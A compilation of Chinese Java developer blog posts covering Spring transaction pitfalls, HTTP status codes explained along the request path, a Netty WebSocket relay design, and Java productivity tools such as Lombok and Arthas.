@Transactional
public void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
从上面的例子,我们可以看到UserService类没有加@Service注解,那么该类不会交给spring管理,所以它的add方法也不会生成事务。
5.多线程调用
在实际项目开发中,多线程的使用场景还是挺多的。如果spring事务用在多线程场景中,会有问题吗?
@Slf4j
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
new Thread(() -> {
roleService.doOtherThing();
}).start();
}
}
@Service
public class RoleService {
@Transactional
public void doOtherThing() {
System.out.println("保存role表数据");
}
}
从上面的例子中,我们可以看到事务方法add中,调用了事务方法doOtherThing,但是事务方法doOtherThing是在另外一个线程中调用的。
这样会导致两个方法不在同一个线程中,获取到的数据库连接不一样,从而是两个不同的事务。如果想doOtherThing方法中抛了异常,add方法也回滚是不可能的。
如果看过spring事务源码的朋友,可能会知道spring的事务是通过数据库连接来实现的。当前线程中保存了一个map,key是数据源,value是数据库连接。
private static final ThreadLocal<Map<Object, Object>> resources =
new NamedThreadLocal<>("Transactional resources");
我们说的同一个事务,其实是指同一个数据库连接,只有拥有同一个数据库连接才能同时提交和回滚。如果在不同的线程,拿到的数据库连接肯定是不一样的,所以是不同的事务。
6.表不支持事务
周所周知,在mysql5之前,默认的数据库引擎是myisam。
它的好处就不用多说了:索引文件和数据文件是分开存储的,对于查多写少的单表操作,性能比innodb更好。
有些老项目中,可能还在用它。
在创建表的时候,只需要把ENGINE参数设置成MyISAM即可:
CREATE TABLE `category` (
`id` bigint NOT NULL AUTO_INCREMENT,
`one_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`two_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`three_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
`four_category` varchar(20) COLLATE utf8mb4_bin DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin
myisam好用,但有个很致命的问题是:不支持事务。
如果只是单表操作还好,不会出现太大的问题。但如果需要跨多张表操作,由于其不支持事务,数据极有可能会出现不完整的情况。
此外,myisam还不支持行锁和外键。
所以在实际业务场景中,myisam使用的并不多。在mysql5以后,myisam已经逐渐退出了历史的舞台,取而代之的是innodb。
有时候我们在开发的过程中,发现某张表的事务一直都没有生效,那不一定是spring事务的锅,最好确认一下你使用的那张表,是否支持事务。
7.未开启事务
有时候,事务没有生效的根本原因是没有开启事务。
你看到这句话可能会觉得好笑。
开启事务不是一个项目中,最最最基本的功能吗?
为什么还会没有开启事务?
没错,如果项目已经搭建好了,事务功能肯定是有的。
但如果你是在搭建项目demo的时候,只有一张表,而这张表的事务没有生效。那么会是什么原因造成的呢?
当然原因有很多,但没有开启事务,这个原因极其容易被忽略。
如果你使用的是springboot项目,那么你很幸运。因为springboot通过DataSourceTransactionManagerAutoConfiguration类,已经默默的帮你开启了事务。
你所要做的事情很简单,只需要配置spring.datasource相关参数即可。
但如果你使用的还是传统的spring项目,则需要在applicationContext.xml文件中,手动配置事务相关参数。如果忘了配置,事务肯定是不会生效的。
具体配置如下信息:
<!-- 配置事务管理器 -->
<bean class="org.springframework.jdbc.datasource.DataSourceTransactionManager" id="transactionManager">
<property name="dataSource" ref="dataSource"></property>
</bean>
<tx:advice id="advice" transaction-manager="transactionManager">
<tx:attributes>
<tx:method name="*" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>
<!-- 用切点把事务切进去 -->
<aop:config>
<aop:pointcut expression="execution(* com.susan.*.*(..))" id="pointcut"/>
<aop:advisor advice-ref="advice" pointcut-ref="pointcut"/>
</aop:config>
默默的说一句,如果在pointcut标签中的切入点匹配规则,配错了的话,有些类的事务也不会生效。
二 事务不回滚
1.错误的传播特性
其实,我们在使用@Transactional注解时,是可以指定propagation参数的。
该参数的作用是指定事务的传播特性,spring目前支持7种传播特性:
REQUIRED如果当前上下文中存在事务,那么加入该事务,如果不存在事务,创建一个事务,这是默认的传播属性值。SUPPORTS如果当前上下文存在事务,则支持事务加入事务,如果不存在事务,则使用非事务的方式执行。MANDATORY如果当前上下文中存在事务,否则抛出异常。REQUIRES_NEW每次都会新建一个事务,并且同时将上下文中的事务挂起,执行当前新建事务完成以后,上下文事务恢复再执行。NOT_SUPPORTED如果当前上下文中存在事务,则挂起当前事务,然后新的方法在没有事务的环境中执行。NEVER如果当前上下文中存在事务,则抛出异常,否则在无事务环境上执行代码。NESTED如果当前上下文中存在事务,则嵌套事务执行,如果不存在事务,则新建事务。
如果我们在手动设置propagation参数的时候,把传播特性设置错了,比如:
@Service
public class UserService {
@Transactional(propagation = Propagation.NEVER)
public void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法的事务传播特性定义成了Propagation.NEVER,这种类型的传播特性不支持事务,如果有事务则会抛异常。
目前只有这三种传播特性才会创建新事务:REQUIRED,REQUIRES_NEW,NESTED。
2.自己吞了异常
事务不会回滚,最常见的问题是:开发者在代码中手动try...catch了异常。比如:
@Slf4j
@Service
public class UserService {
@Transactional
public void add(UserModel userModel) {
try {
saveData(userModel);
updateData(userModel);
} catch (Exception e) {
log.error(e.getMessage(), e);
}
}
}
这种情况下spring事务当然不会回滚,因为开发者自己捕获了异常,又没有手动抛出,换句话说就是把异常吞掉了。
如果想要spring事务能够正常回滚,必须抛出它能够处理的异常。如果没有抛异常,则spring认为程序是正常的。
3.手动抛了别的异常
即使开发者没有手动捕获异常,但如果抛的异常不正确,spring事务也不会回滚。
@Slf4j
@Service
public class UserService {
@Transactional
public void add(UserModel userModel) throws Exception {
try {
saveData(userModel);
updateData(userModel);
} catch (Exception e) {
log.error(e.getMessage(), e);
throw new Exception(e);
}
}
}
上面的这种情况,开发人员自己捕获了异常,又手动抛出了异常:Exception,事务同样不会回滚。
因为spring事务,默认情况下只会回滚RuntimeException(运行时异常)和Error(错误),对于普通的Exception(非运行时异常),它不会回滚。
4.自定义了回滚异常
在使用@Transactional注解声明事务时,有时我们想自定义回滚的异常,spring也是支持的。可以通过设置rollbackFor参数,来完成这个功能。
但如果这个参数的值设置错了,就会引出一些莫名其妙的问题,例如:
@Slf4j
@Service
public class UserService {
@Transactional(rollbackFor = BusinessException.class)
public void add(UserModel userModel) throws Exception {
saveData(userModel);
updateData(userModel);
}
}
如果在执行上面这段代码,保存和更新数据时,程序报错了,抛了SqlException、DuplicateKeyException等异常。而BusinessException是我们自定义的异常,报错的异常不属于BusinessException,所以事务也不会回滚。
即使rollbackFor有默认值,但阿里巴巴开发者规范中,还是要求开发者重新指定该参数。
这是为什么呢?
因为如果使用默认值,一旦程序抛出了Exception,事务不会回滚,这会出现很大的bug。所以,建议一般情况下,将该参数设置成:Exception或Throwable。
5.嵌套事务回滚多了
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
roleService.doOtherThing();
}
}
@Service
public class RoleService {
@Transactional(propagation = Propagation.NESTED)
public void doOtherThing() {
System.out.println("保存role表数据");
}
}
这种情况使用了嵌套的内部事务,原本是希望调用roleService.doOtherThing方法时,如果出现了异常,只回滚doOtherThing方法里的内容,不回滚 userMapper.insertUser里的内容,即回滚保存点。。但事实是,insertUser也回滚了。
why?
因为doOtherThing方法出现了异常,没有手动捕获,会继续往上抛,到外层add方法的代理方法中捕获了异常。所以,这种情况是直接回滚了整个事务,不只回滚单个保存点。
怎么样才能只回滚保存点呢?
@Slf4j
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
try {
roleService.doOtherThing();
} catch (Exception e) {
log.error(e.getMessage(), e);
}
}
}
可以将内部嵌套事务放在try/catch中,并且不继续往上抛异常。这样就能保证,如果内部嵌套事务中出现异常,只回滚内部事务,而不影响外部事务。
三 其他
1 大事务问题
在使用spring事务时,有个让人非常头疼的问题,就是大事务问题。
通常情况下,我们会在方法上@Transactional注解,填加事务功能,比如:
@Service
public class UserService {
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
query1();
query2();
query3();
roleService.save(userModel);
update(userModel);
}
}
@Service
public class RoleService {
@Autowired
private RoleService roleService;
@Transactional
public void save(UserModel userModel) throws Exception {
query4();
query5();
query6();
saveData(userModel);
}
}
但@Transactional注解,如果被加到方法上,有个缺点就是整个方法都包含在事务当中了。
上面的这个例子中,在UserService类中,其实只有这两行才需要事务:
roleService.save(userModel);
update(userModel);
在RoleService类中,只有这一行需要事务:
saveData(userModel);
现在的这种写法,会导致所有的query方法也被包含在同一个事务当中。
如果query方法非常多,调用层级很深,而且有部分查询方法比较耗时的话,会造成整个事务非常耗时,而从造成大事务问题。
关于大事务问题的危害,可以阅读一下我的另一篇文章《让人头痛的大事务问题到底要如何解决?》,上面有详细的讲解。

更多精彩内容百度一下:Java突击队
2.编程式事务
上面聊的这些内容都是基于@Transactional注解的,主要说的是它的事务问题,我们把这种事务叫做:声明式事务。
其实,spring还提供了另外一种创建事务的方式,即通过手动编写代码实现的事务,我们把这种事务叫做:编程式事务。例如:
@Autowired
private TransactionTemplate transactionTemplate;
...
public void save(final User user) {
queryData1();
queryData2();
transactionTemplate.execute((status) => {
addData1();
updateData2();
return Boolean.TRUE;
})
}
在spring中为了支持编程式事务,专门提供了一个类:TransactionTemplate,在它的execute方法中,就实现了事务的功能。
相较于@Transactional注解声明式事务,我更建议大家使用,基于TransactionTemplate的编程式事务。主要原因如下:
- 避免由于spring aop问题,导致事务失效的问题。
- 能够更小粒度的控制事务的范围,更直观。
建议在项目中少使用@Transactional注解开启事务。但并不是说一定不能用它,如果项目中有些业务逻辑比较简单,而且不经常变动,使用@Transactional注解开启事务开启事务也无妨,因为它更简单,开发效率更高,但是千万要小心事务失效的问题。
来源:juejin.cn/post/7601576716016435263
面试必问HTTP状态码:从“请求的一生”彻底搞懂,告别死记硬背
HTTP状态码:从请求的一生重新理解
“所有数字背后,都是一个请求的遗言。”
—— 某位被502逼疯的工程师
或者,你也可以记住这一句:
“状态码不是用来背的,是用来收尸的。”
—— 同一位工程师,在又一次凌晨三点被叫起来之后
为什么写这篇文章
相信很多朋友面试的时候都会被面试官问到:“你记得多少HTTP状态码?具体有哪些含义?”
一般对于这类问题,我们都会提前复习和记忆,才能回答得比较完整。
但后来我发现一件事:
“背状态码就像背尸检报告,你记住了死因,却没见过现场。”
—— 某位靠背答案转行写代码的面试者
本文从一个请求离开客户端之后的链路出发,带你去看现场。
要彻底搞懂HTTP状态码,我们可以换一种思路:设计这么多状态码,它们具体是在哪一环节、因为什么原因被返回的?
我们的请求传递到整个后端,并不是直接访问到服务器。它要经过一大批网络组件的筛选过滤,每一关都有可能倒下,每一关都会有人替它写下遗言。
下面,让我们从一个请求发送到后端的链路,重新认识一下HTTP状态码。
第一站:边缘节点 CDN
“我以为我能活到源站,结果在门口就被拦下了。”
—— 一个试图直接访问服务器的请求
当一个请求经过DNS解析离开设备,遇到的第一个网络组件是CDN。
CDN是一种缓存设备。它把源服务器的资源拉取到离你最近的地方,像个热情过度的前台:“你要这个?我这有,别往里跑了。”
遇到热门的资源文件(比如B站、抖音的热门视频),直接从CDN获取,速度远远快于访问远端的服务器。对于这些占用带宽较大的静态文件资源,缓存到CDN上是性价比最高的方案。
CDN节点状态码
| 状态码 | 含义 | 死因报告 |
|---|---|---|
200 | 成功命中 | “我这有,拿去吧。” |
304 | 未修改 | “你手里的还是新鲜的,不用换。” |
502 | 回源非法响应 | “我去帮你问,结果源站说方言,听不懂。” |
503 | 回源连接拒绝 | “源站把门关上了,不让我进。” |
504 | 回源超时 | “源站接了电话,但一直不说话。” |
💡 304是个好东西
每次向CDN发起请求,并不一定需要CDN把整个文件再发一遍。
如果我们本地有缓存,带着文件的指纹(ETag)或修改时间(Last-Modified)去问CDN:“我这个还新鲜吗?”
CDN看一眼:“没变,接着用吧。”
省带宽,省时间,双方都舒服。
—— 这是唯一一个**请求和服务器达成共识“你不用干活”**的状态码。
第二站:安全网关 WAF
“我不是不让你进,我是怕你进来搞破坏。”
—— WAF,一个没有感情的安检机器
请求离开CDN后,仍然不能直接到达源站。它先要经过WAF——Web应用防火墙。
这个组件的作用,名字已经写得很清楚:为了安全。
它像个眼神锐利的保安,把你从头扫到脚:
- 检查IP是否合法 → 不合法返回
403 Forbidden - 检查请求头是否合法 → 不合法返回
406 Not Acceptable - 检查请求体是否合法 → 不合法返回
413 Payload Too Large - 判断请求频率是否正常 → 不合法返回
429 Too Many Requests
WAF状态码场景
| 攻击/异常类型 | 状态码 | 死因报告 |
|---|---|---|
| 黑名单IP/SQL注入/XSS | 403 | “你身上有刀,不许进。” |
| 无效Accept头 | 406 | “你要的东西我给不了,别进了。” |
| 超大请求体 | 413 | “你扛的箱子太大了,进不来。” |
| CC攻击/高频请求 | 429 | “你来回跑太多次了,歇会儿。” |
这些“不正经”的请求方式,其实就是网络安全课里讲的攻击手段。
“我只是想进来看看,它说我是黑客。”
—— 一个带着正常User-Agent却被误杀的公司内网爬虫
第三站:负载均衡器 Nginx
“一万个用户就要一万个进程?凭什么等网速还要占着位置?”
—— Igor Sysoev,Nginx之父,2002年
对于这个组件,一开始我也不明白它为什么有那么多功能。
要认识一件东西,最好的方式是了解它为什么被创造出来。
2002年,莫斯科。
Apache的规矩:来一个人开一个进程,来一万个人开一万个进程。
16G内存,Apache张嘴要50G,然后跪了。
Igor Sysoev每天的工作就是重启服务器——像给同一个病人反复做心肺复苏。
终于有一天他骂了句脏话:
“一万个用户就要一万个进程?凭什么等网速的时候还要占着内存?”
他觉得这不合理——像每个客人身后站一个专属服务员,客人上厕所他都得站着等。
Igor决定写一个“不讲武德”的服务器:
一个服务员管五十桌,谁招手过去,谁看菜单就晾着。不等人,不空转,不占茅坑。
两年,一万行C。
2004年,Nginx诞生。
4个进程扛1万连接,内存500MB。
Apache用50G干的活,它用1%的资源。
后来有人问他为什么写Nginx。
他说:
“等的时候,不应该占着位置。”
Nginx核心状态码
| 场景 | 状态码 | 死因报告 |
|---|---|---|
| 静态文件不存在 | 404 | “你要的文件,硬盘里没有。” |
| 静态文件无权限 | 403 | “文件在那,但你不配看。” |
| 后端无响应 | 502 | “我把请求转给后面,后面没人接。” |
| 后端超时 | 504 | “后面接了电话,但一直‘嗯’个不停,就是不说话。” |
| 客户端提前关闭 | 499 | “用户等不及,把网页关了。” |
| 限流拦截 | 429 | “你刷太快了,我伺候不动。” |
| 主动熔断 | 503 | “后面的兄弟都快累死了,我先替你挡一下。” |
💡 关于499
499是Nginx独有的状态码。
它不是后端返回的,不是WAF拦截的,是Nginx自己记下的遗言:
“他没等我,他走了。”
很多时候你以为的超时(504),其实是用户等得不耐烦,直接关掉了页面。
Nginx默默在日志里写下一行:
“请求已转发,但客户端已失联。”
第四站:Web 应用
“终于到我了。”
—— 一个请求,在穿过CDN、WAF、Nginx之后
终于,请求到达了后端应用。
这里的HTTP状态码,是开发者在代码里亲手写下的。
它是唯一一个由你决定生死的环节。
4xx:你的问题,不是我的问题
“你发过来的东西,我尽力了,真的看不懂。”
—— 应用对400说
| 状态码 | 含义 | 死因报告 |
|---|---|---|
400 | 我看不懂 | JSON少括号、类型传错、必填字段没带 |
401 | 你没登录 | 没带Token、Token过期、Token被篡改 |
403 | 你不能进 | 普通用户点管理员接口、IP不在白名单 |
404 | 我没有 | 查不存在的用户ID、已下架的商品 |
409 | 已经有了 | 用户名被占用、重复提交、两人同时编辑同一条数据 |
422 | 内容不对 | 邮箱格式正确但未注册、年龄传了200岁 |
“你说你叫admin,但我这已经有叫admin的了。”
—— 409 Conflict,注册接口的日常
2xx:一切顺利
“今天是个好日子。”
—— 200 OK,最幸福的状态码
| 状态码 | 含义 | 遗言(活着的遗言) |
|---|---|---|
200 | 成功 | “成了,数据给你。” |
201 | 创建成功 | “成了,新资源在这。” |
202 | 已接受 | “收下了,后面慢慢弄。” |
204 | 成功,无返回 | “成了,但没啥可说的。” |
3xx:别找我,去那边
“我已经搬家了,这是新地址。”
—— 301,一个负责任的旧门牌
| 状态码 | 含义 | 死因报告 |
|---|---|---|
301 | 永久搬家 | “这里不住了,以后去那边找我。” |
302 | 临时离开 | “现在不在,你先去隔壁。” |
304 | 没变 | “你手里那个还能用,别下载了。” |
5xx:我炸了,不是你的错
“对不起,是我的问题。”
—— 500 Internal Server Error,一个有礼貌的崩溃
| 状态码 | 含义 | 死因报告 |
|---|---|---|
500 | 代码崩溃 | 空指针、数据库连不上、try-catch没接住 |
502 | 上游乱说话 | 第三方API返回乱码、Redis数据结构不对 |
503 | 我拒绝 | 连接池满了、服务正在重启 |
504 | 上游太慢 | 第三方API超时、SQL查了10秒 |
“我调了别人的接口,别人没回我。”
—— 504,一个被上游坑死的请求
链路简图 · 请求的一生
“这不是架构图,这是事故多发路段示意图。”
写在最后:状态码不是数字,是请求的“尸检报告”
行文至此,我们已经陪着一个HTTP请求走完了它的完整一生。
它从你的浏览器出发,叩开CDN的大门,穿过WAF的安检,经过Nginx的调度,最终抵达应用服务器的后厨。
而在每一道关卡,都有可能倒下——也可能凯旋。
每一个状态码,都不是随机数字,而是请求倒下的那一刻,最后一个活着的人替它写下的死因报告。
当你再看到502,你脑海里应该浮现的不是“Bad Gateway”这行英文,而是一场事故现场:
- 也许是CDN回源时,源站说了句它听不懂的方言(非法响应)
- 也许是Nginx转发时,后端的应用根本没在听(连接失败)
- 也许是你的代码调用第三方API,对方接了电话但开始沉默(超时)
- 也许是负载均衡器巡视一圈,发现所有小弟都已阵亡(无可用后端)
同一个502,七种死法。症状相同,病灶各异。
这就是为什么,学会背状态码的人只能回答“它是什么意思”,而理解链路的人能回答:
“它死在了哪一环。”
这趟旅程也告诉我们另一件事:
CDN会替你背锅,Nginx会替你扛压,WAF会替你挡刀——但它们都只是过客。
唯一从头到尾、从生到死都陪着你代码的,是你自己写的业务逻辑。
200是你写的,404是你写的,500也是你写的。
状态码不是面试官拷问你的工具,而是你的代码和这个世界对话的语言。
你用200说:“一切正常。”
你用404说:“你找的东西不在这里。”
你用500说:“抱歉,我出了点问题,已经在看日志了。”
所以,别再背状态码了。
去理解你请求走过的路,去读懂每一行日志,去亲手写下每一个你返回的状态码。
当你不再问“502是什么意思”,而是问——
“这个502是谁报的?”
“在哪一环报的?”
“日志里留下了什么线索?”
那一刻,你就不再是背答案的人,而是真的懂了。
“愿你的200永远不鸽,愿你的5xx永远有日志可查。”
—— 同一位被502逼疯的工程师,在最后一次上线后说
来源:juejin.cn/post/7605848213602779182
神了,WebSocket竟然可以这么设计!
关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言
长连接是业务项目中经常遇到的技术,往往用于数据向前端推送,如各种大屏、驾驶舱等实时数据的展示。单向推送可能会选择SSE,SSE因为AI时代的到来,逐步被大家熟知,而WebSocket作为经典的双向通讯,也经常被用来做数据推送。
今天聊一下,我发现的一种特殊的设计,可以单独将基于Netty的WebSocket单独部署,接入时,只需要引入API,初始化客户端即可完成对接。直接隔离了WebSocket服务端的编码。
02 普通应用
WebSocket的普通接入,需要编写WebSocket服务端。通过浏览器原生 API即可实现。
2.1 前端代码
浏览器原生的代码:
if ('WebSocket' in window) {
const websocket = new WebSocket("ws://localhost:9090/testWs");
} else {
alert('当前浏览器不支持 WebSocket');
}
websocket.onopen = function(event) {
console.log('WebSocket 连接成功');
};
websocket.onmessage = function(event) {
console.log('收到消息:', event.data);
};
websocket.onerror = function(error) {
console.error('WebSocket 错误:', error);
};
websocket.onclose = function(event) {
console.log('WebSocket 连接关闭');
};
// 发送消息
function sendMessage() {
const message = document.getElementById('text').value;
websocket.send(message);
}
// 关闭连接
function closeConnection() {
websocket.close();
}
2.2 服务端代码
@Slf4j
@Component
public class WebSocketServer {
@Getter
private ChannelGr0up channelGr0up = new DefaultChannelGr0up(GlobalEventExecutor.INSTANCE);
public void start() throws InterruptedException {
EventLoopGr0up bossGr0up = new NioEventLoopGr0up();
EventLoopGr0up workGr0up = new NioEventLoopGr0up();
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(bossGr0up, workGr0up);
serverBootstrap.channel(NioServerSocketChannel.class);
serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline pipeline = socketChannel.pipeline();
pipeline.addLast(new HttpServerCodec());
pipeline.addLast(new HttpObjectAggregator(65535));
pipeline.addLast(new WebSocketServerProtocolHandler("/testWs"));
// 自定义的handler,处理业务逻辑
pipeline.addLast(new SimpleChannelInboundHandler<TextWebSocketFrame>() {
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
// 建立客户端
Channel channel = ctx.channel();
log.info("客户端建立连接:channelId={}", channel.id());
channelGr0up.add(channel);
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
// 断开链接
Channel channel = ctx.channel();
log.info("客户端断开连接:channelId={}", channel.id());
channelGr0up.remove(channel);
}
@Override
protected void channelRead0(ChannelHandlerContext ctx, TextWebSocketFrame msg) throws Exception {
// 接受消息
Channel channel = ctx.channel();
log.info("收到来自通道channelId[{}]发送的消息:{}", channel.id(), msg.text());
// 广播通知所有的客户端
channelGr0up.writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息:" + msg.text() + "123_"));
}
});
}
});
// 配置完成,开始绑定server,通过调用sync同步方法阻塞直到绑定成功
ChannelFuture channelFuture = serverBootstrap.bind(9090).sync();
log.info("Server started and listen on:{}",channelFuture.channel().localAddress());
// 对关闭通道进行监听
channelFuture.channel().closeFuture().sync();
}
}
2.3 效果演示
为了方便演示,我直接使用在线测试工具:

2.4 设计思想
设计如图:

这就是一个简单的点对点的一个设计。这样的设计本身没有什么问题,但是面对不同的业务系统都要接入WebSocket,我们就需要将服务端的代码复制一份,然后修改成适合自己业务项目的逻辑。
如果业务项目比较多,就会出现大量重复的代码,如我们公司就有20多个业务系统。从《代码重构》这本书中,就得知这是一种坏的味道,需要我们想办法优化。
如何来优化呢?按照阿里程序员的说话,没有什么是加一个中间层不能解决的,如果不能那就再加一层。
03 独特的设计
3.1 总览
如何通过中间层去解耦呢?
为了将WebSocket能够复用,就需要通过一个中间层能够作为一个传递者。既可以让用户直接连接WebSocket,也可以通过中间层直接推送消息。
我们来看看最终的设计流程:

3.2 流程分析
在流程分析执之前,我们需要说明引入的中间层。
- Socket中间客户端
- Socket服务
Socket中间客户端
Socket中间客户端作为一个jar传递于业务项目中,用来代替WebSocket直接推送消息给Socket客户端。同时也会将WebSocket服务的IP和端口暴露给客户端。
Socket中间客户端是基于Netty的Socket客户端,通过Bootstrap bootstrap = new Bootstrap()实例化,遵循TCP协议。详见代码。
Socket服务
为什么需要引入Socket服务呢?这也是小编之前非常疑惑的地方,直到自己搭建才知道为什么这么设计。
由于Socket中间客户端无法直接连接WebSocket,那么那就要一个完全基于TCP协议的Socket服务,就可以和Socket中间客户端建立连接。
而Socket服务和WebSocket位于同一个服务,就可以获取到WebSocket的所有通道(channel),就可以将消息推送给客户端了。
运行流程
- ① 客户端通过业务项目暴露的
WebSOcket的IP和端口给前端,前端用来建立WebSocket连接。当着这个主要针对H5。类似安卓或者IOS有支持TCP的SDK,就可以直接连接Socket服务了。 - ② 随着业务项目启动建立与
Socket服务的连接,等待随时给Socket服务发送消息。 - ③
Socket服务接收到消息后,直接获取WebSocket的通道。然后通过通道可以推送消息。 - ④ 获取到通道之后,就可以直接推送消息给前端了。
所以每次使用,只需要引入Jar,需要推送消息给客户端,只需要直接调用方法推送即可。
04 设计实现
4.1 WebSocket服务端
代码同2.2的代码
WebSocket服务的端口是9090
4.2 Socket服务端
@Slf4j
@Component
public class SockerServer {
@Autowired
private WebSocketServer webSocketServer;
public void start() throws InterruptedException {
EventLoopGr0up bossGr0up = new NioEventLoopGr0up();
EventLoopGr0up workGr0up = new NioEventLoopGr0up();
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(bossGr0up, workGr0up);
serverBootstrap.channel(NioServerSocketChannel.class);
serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline pipeline = socketChannel.pipeline();
pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));
pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));
pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));
// 自定义的handler,处理业务逻辑
pipeline.addLast(new SimpleChannelInboundHandler<>() {
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
// 建立客户端
Channel channel = ctx.channel();
log.info("Socket客户端建立连接:channelId={}", channel.id());
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
// 断开链接
Channel channel = ctx.channel();
log.info("Socket客户端断开连接:channelId={}", channel.id());
}
@Override
protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {
// 接受消息
Channel channel = ctx.channel();
log.info("Socket收到来自通道channelId[{}]发送的消息:{}", channel.id(), msg);
// 通过WebSocket将方法发送给客户端
webSocketServer.getChannelGr0up().writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息:" + msg + "123_"));
}
});
}
});
// 配置完成,开始绑定server,通过调用sync同步方法阻塞直到绑定成功
ChannelFuture channelFuture = serverBootstrap.bind(9091).sync();
log.info("Server started and listen on:{}",channelFuture.channel().localAddress());
// 对关闭通道进行监听
channelFuture.channel().closeFuture().sync();
}
}
Socket服务的端口是9091
4.3 Socket中间客户端
@Slf4j
public class MockClient {
@Getter
private SocketChannel socketChannel;
public void connect() throws InterruptedException {
EventLoopGr0up eventLoopGr0up = new NioEventLoopGr0up();
Bootstrap bootstrap = new Bootstrap();
bootstrap.channel(NioSocketChannel.class);
bootstrap.option(ChannelOption.SO_KEEPALIVE, true);
bootstrap.option(ChannelOption.SO_BACKLOG, 500);
bootstrap.group(eventLoopGr0up);
bootstrap.handler(new ChannelInitializer() {
@Override
protected void initChannel(Channel channel) throws Exception {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));
pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));
pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));
pipeline.addLast(new SimpleChannelInboundHandler<String>(){
@Override
protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {
log.info("client receive: {}", msg);
}
});
}
});
ChannelFuture channelFuture = bootstrap.connect("127.0.0.1", 9091).sync();
this.socketChannel = (SocketChannel) channelFuture.channel();
}
}
Socket只是用来发送消息的,所以不同处理接受的消息。注意这里的中间客户端连接的是Socket服务,端口是9091
4.4 配置启动
@Slf4j
@Component
public class StartConfig {
@Autowired
private WebSocketServer webSocketServer;
@Autowired
private SockerServer socketServer;
@PostConstruct
public void init() {
ExecutorService executorService = Executors.newFixedThreadPool(2);
executorService.execute(() -> {
log.info("websocket init ....");
try {
webSocketServer.start();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
executorService.execute(() -> {
log.info("socket init ....");
try {
socketServer.start();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
}
}
这个就是独立部署的Socket服务配置,两个服务分别使用多线程启动。
4.5 模拟数据推送
@Test
void contextLoads() throws Exception {
MockClient mockClient = new MockClient();
mockClient.connect();
SocketChannel socketChannel = mockClient.getSocketChannel();
new Timer().schedule(new TimerTask() {
@Override
public void run() {
System.out.println("send msg...");
socketChannel.writeAndFlush("foo test..._");
}
}, 0, 2000);
System.in.read();
}
每个2s发送一次消息。
4.6 客户端
客户端同样用在线测试工具代替。
4.7 演示

05 小结
这就完成了WebSocket的解耦。关于Socket消息的编解码,有很多注意点,在搭建过程中,总会不成功, 需要根据连接的协议选择不同的编解码,才能正确的接受和发送信息。这些留到后面的文章继续介绍。
来源:juejin.cn/post/7592079304924889098
一个Java工程师的17个日常效率工具
作为一名Java工程师,效率就是生产力。那些能让你少写代码、少改BUG、少加班的工具,往往能为你节省大量时间,让你专注于解决真正有挑战性的问题。
下面分享的这些工具几乎覆盖了Java开发全流程,从编码、调试到构建、部署,每一个环节都能大幅提升你的工作效率。
一、IDE增强类工具
1. IntelliJ IDEA终极版 + 精选插件
作为Java开发的首选IDE,IntelliJ IDEA本身已经非常强大,但配合以下插件,效率可以再提升一个档次:
- Key Promoter X: 显示你手动操作的快捷键,帮助你养成使用快捷键的习惯
- AiXcoder Code Completer: 基于AI的代码补全,比IDEA自带的更智能
- Maven Helper: 解决Maven依赖冲突的神器
- Lombok: 减少模板代码编写
- Rainbow Brackets: 彩色括号,让嵌套结构一目了然
实用技巧:创建多个Live Templates(代码模板),比如定义日志、常用异常处理、单例模式等。每天能节省几十次重复输入。
2. Lombok
虽然这是一个库,但它堪称效率工具。通过注解的方式,自动生成getter/setter、构造函数、equals/hashCode等方法,大幅减少模板代码量。
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserDTO {
private Long id;
private String username;
private String email;
// 无需编写getter/setter/构造函数/toString等
}
注意事项:使用@EqualsAndHashCode时,注意排除可能造成循环引用的字段;使用@Builder时,考虑添加@NoArgsConstructor满足序列化需求。
二、调试与性能分析工具
3. Arthas
阿里开源的Java诊断工具,它能在线排查问题,无需重启应用。最强大的是它能够实时观察方法的入参、返回值,统计方法执行耗时,甚至动态修改类的行为。
常用命令:
watch监控方法调用trace跟踪方法调用链路jad反编译类sc查找加载的类redefine热更新类
